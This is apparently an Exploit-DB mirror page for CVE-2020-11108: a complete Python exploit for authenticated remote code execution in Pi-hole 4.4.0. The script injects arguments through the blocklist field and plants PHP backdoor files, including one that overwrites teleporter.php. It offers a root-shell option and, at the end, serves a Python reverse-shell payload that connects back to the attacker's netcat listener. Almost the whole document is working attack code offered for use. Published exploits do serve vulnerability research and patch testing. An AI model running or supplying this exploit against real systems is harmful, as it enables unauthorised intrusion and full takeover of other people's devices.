Pi-hole 4.4.0 – Remote Code Execution (Authenticated)

• Exploit Database
• 131 阅读

• 作者： Photubias
  日期： 2020-05-26
• 类别：

  • webapps
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/48519/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255

  # Exploit Title: Pi-hole 4.4.0 - Remote Code Execution (Authenticated) # Date: 2020-05-22 # Exploit Author: Photubias # Vendor Advisory: [1] https://github.com/pi-hole/AdminLTE # Version: Pi-hole <=4.4.0 + Web <=4.3.3 # Tested on: Pi-hole v4.4.0-g9e49077, Web v4.3.3,v4.3.2-1-g4f824be, FTL v5.0 (on Debian 10) # CVE: CVE-2020-11108   #!/usr/bin/env python3 ''' Copyright 2020 Photubias(c) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.   This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the GNU General Public License for more details.   You should have received a copy of the GNU General Public License along with this program.If not, see <http://www.gnu.org/licenses/>.   Based (and improved on): https://github.com/Frichetten/CVE-2020-11108-PoC/blob/master/cve-2020-11108-rce.py   File name CVE-2020-11108.py written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be   ## Vulnerable setup instructions (from clean Debian 10-Buster): > apt update && apt install -y curl > curl -sSL https://install.pi-hole.net | bash > pihole checkout web release/v4.3.3 > cd /etc/.pihole/ && git checkout v4.4 > pihole -r ## Select reconfigure   This is a native implementation without requirements, written in Python 3. Works equally well on Windows as Linux (as MacOS, probably ;-)   Features: * Does a reliable check before exploitation (not based on version numbers) * Performs normal RCE without Privilege Escalation (wich is more trust worthy) * Asks before running Root RCE (as this overwrites certain files) * Performs a cleanup in all cases (success / failure) '''   import urllib.request, ssl, http.cookiejar, sys, string, random import socket, _thread, time   ## Default vars; change at will _sURL = '192.168.50.130' _sPASSWORD = '6DS4QtW5' _iTIMEOUT = 5 _sLOCALIP = '192.168.50.1' _sFILENAME = 'fun2.php' _sLOCALNCPORT = '4444' ## Make sure to set up a listener on this port first   ## Ignore unsigned certs ssl._create_default_https_context = ssl._create_unverified_context   ## Keep track of cookies between requests cj = http.cookiejar.CookieJar() oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))   def randomString(iStringLength=8): sLetters = string.ascii_lowercase return ''.join(random.choice(sLetters) for i in range(iStringLength))   def postData(sURL, lData, bEncode = True): try: if bEncode: oData = urllib.parse.urlencode(lData).encode() else: oData = str(lData).encode() oRequest = urllib.request.Request(url = sURL, data = oData) return oOpener.open(oRequest, timeout = _iTIMEOUT) except: print('----- ERROR, site down?') sys.exit(1)   def getEndpoint(): if not _sURL[:4].lower() == 'http': sURL = 'http://' + _sURL else: sURL = _sURL if not sURL[:-1] == '/': sURL += '/' if not '/admin' in sURL: sURL += 'admin' try: oRequest = urllib.request.Request(sURL) oResponse = oOpener.open(oRequest, timeout = _iTIMEOUT) except: print('[-] Error: ' + sURL + ' not responding') exit(1) if oResponse.code == 200: print('[+] Vulnerable URL is ' + sURL) return sURL else: print('[-] Error: ' + sURL + ' does not exist?') exit(1)   def startListener(sPayload, iSockTimeout): ## Listener must always be on port 80, does not work otherwise oSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print('[!] Binding to '+_sLOCALIP+':80') oSock.bind((_sLOCALIP,80)) oSock.settimeout(iSockTimeout) oSock.listen()   while True: try: oConn,sAddr= oSock.accept() except: break print('[+] Yes, we have an incoming connection from '+str(sAddr[0])) oConn.sendall(sPayload.encode()) oConn.close() break oSock.close() print('[!] Closing Listener')   def doLogin(sURL, sPassword): sPath = '/index.php?login' lData = {'pw':sPassword} oResponse = postData(sURL + sPath, lData) sResult = oResponse.read().decode(errors='ignore') if 'Wrong password' in sResult: print('Wrong password') sys.exit(1) return True   def getToken(sURL): sPath = '/settings.php?tab=blocklists' oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT) sResult = oResponse.read().decode(errors='ignore') if 'id=\'token\'' in sResult: return sResult.split('id=\'token\' hidden>')[1].split('<')[0] else: print('[-] Error in getting a token') sys.exit(1)   def createBackdoor(sURL, sFilename): sToken = getToken(sURL) sPath = '/settings.php?tab=blocklists' lData = {'newuserlists':'http://' + _sLOCALIP + '#" -o ' + sFilename + ' -d "', 'field':'adlists', 'token':sToken, 'submit':'save'} #lData = {'newuserlists':'http://' + _sLOCALIP + '#" -o fun.php -d "', 'field':'adlists', 'token':sToken, 'submit':'saveupdate'} oResponse = postData(sURL + sPath, lData) if oResponse.code == 200: sResult = oResponse.read().decode(errors='ignore') arrBlocklists = sResult.split('target="_new"') sID = str(len(arrBlocklists)-2) print('[+] Creation success, ID is '+sID+'!') return sID else: return ''     def doUpdate(sURL): sPath = '/scripts/pi-hole/php/gravity.sh.php' try: oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT) if oResponse.code == 200: print('[+] Update succeeded.') return True except: print('[-] Error; callback failed, maybe a firewall issue?') return False   def callExploit(sURL, sFilename = _sFILENAME): sPath = '/scripts/pi-hole/php/' + sFilename print('[+] Calling ' + sURL + sPath) try: oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT) if oResponse.code == 200: print('[+] Calling exploit succeeded.') print(oResponse.read().decode(errors='ignore')) except: pass   def removeEntry(sURL, sID): print('[+] Cleaning up now.') sToken = getToken(sURL) sPath = '/settings.php?tab=blocklists' lData = {'adlist-del-'+sID:'on', 'newuserlists':'', 'field':'adlists', 'token':sToken, 'submit':'save'} oResponse = postData(sURL + sPath, lData) if oResponse.code == 200: print('[+] Remove success')   def main(): global _sURL, _sPASSWORD, _iTIMEOUT, _sLOCALIP, _sFILENAME, _sLOCALNCPORT if len(sys.argv) == 1: print('[!] No arguments found: python3 CVE-2020-11108.py <dstIP> <srcIP> <PWD>') print('Example: ./CVE-2020-11108.py 192.168.50.130 192.168.50.1 6DS4QtW5') print('But for now, I will ask questions') sAnswer = input('[?] Please enter the IP address for Pi-Hole ([' + _sURL + ']): ') if not sAnswer == '': _sURL = sAnswer sAnswer = input('[?] Please enter the your (reachable) IP address to launch listeners ([' + _sLOCALIP + ']): ') if not sAnswer == '': _sLOCALIP = sAnswer sAnswer = input('[?] Please enter the password for Pi-Hole ([' + _sPASSWORD + ']): ') if not sAnswer == '': _sPASSWORD = sAnswer else: _sURL = sys.argv[1] _sLOCALIP = sys.argv[2] _sPASSWORD = sys.argv[3]   ## MAIN sURL = getEndpoint() ## Will also set the initial SessionID doLogin(sURL, _sPASSWORD)   ## Creating backdoor (1) ## the old 'fun.php' sFilename = randomString() + '.php' sID = createBackdoor(sURL, sFilename)   ## Launch first payload listener and send 200 OK _thread.start_new_thread(startListener,('HTTP/1.1 200 OK\n\nCVE-2020-11108\n',5,)) if doUpdate(sURL): print('[+] This system is vulnerable!')   ## Question Time sAnswer = input('Want to continue with exploitation? (Or just run cleanup)? [y/N]: ') if not sAnswer.lower() == 'y': removeEntry(sURL, sID) sys.exit(0) sAnswer = input('Want root access? (Breaks the application!!) [y/N]: ') if sAnswer.lower() == 'y': bRoot = True else: bRoot = False   if bRoot: print('[!] Allright, going for the root shell') ## Launch payload listener and send root shell _sPayload = '''<?php shell_exec("sudo pihole -a -t") ?>''' _thread.start_new_thread(startListener,(_sPayload,5,)) doUpdate(sURL)   ## Creating backdoor (2), overwriting teleporter.php sID2 = createBackdoor(sURL, 'teleporter.php')   ## Launch payload listener for a new 200 OK _thread.start_new_thread(startListener,('HTTP/1.1 200 OK\n\nCVE-2020-11108\n',5,)) doUpdate(sURL)   input('Ok, make sure to have a netcat listener on "' + _sLOCALIP + ':' + _sLOCALNCPORT + '" ("nc -lnvp ' + _sLOCALNCPORT + '") and press enter to continue...')   ## Launch shell payload listener: _sPayload = '''<?php shell_exec("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"%s\\\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);'") ?> ''' %(_sLOCALIP, _sLOCALNCPORT) #_sPayload = '''<?php system($_GET['cmd']); ?>''' ## this works perfectly, but the URL is authenticated _thread.start_new_thread(startListener,(_sPayload,5,)) doUpdate(sURL)   ## Launching the payload, will create new PHP file callExploit(sURL, sFilename)   ## Remove entry again if bRoot: removeEntry(sURL, sID2) removeEntry(sURL, sID)   if len(sys.argv) == 1: input('[+] All done, press enter to exit')   if __name__ == "__main__": main()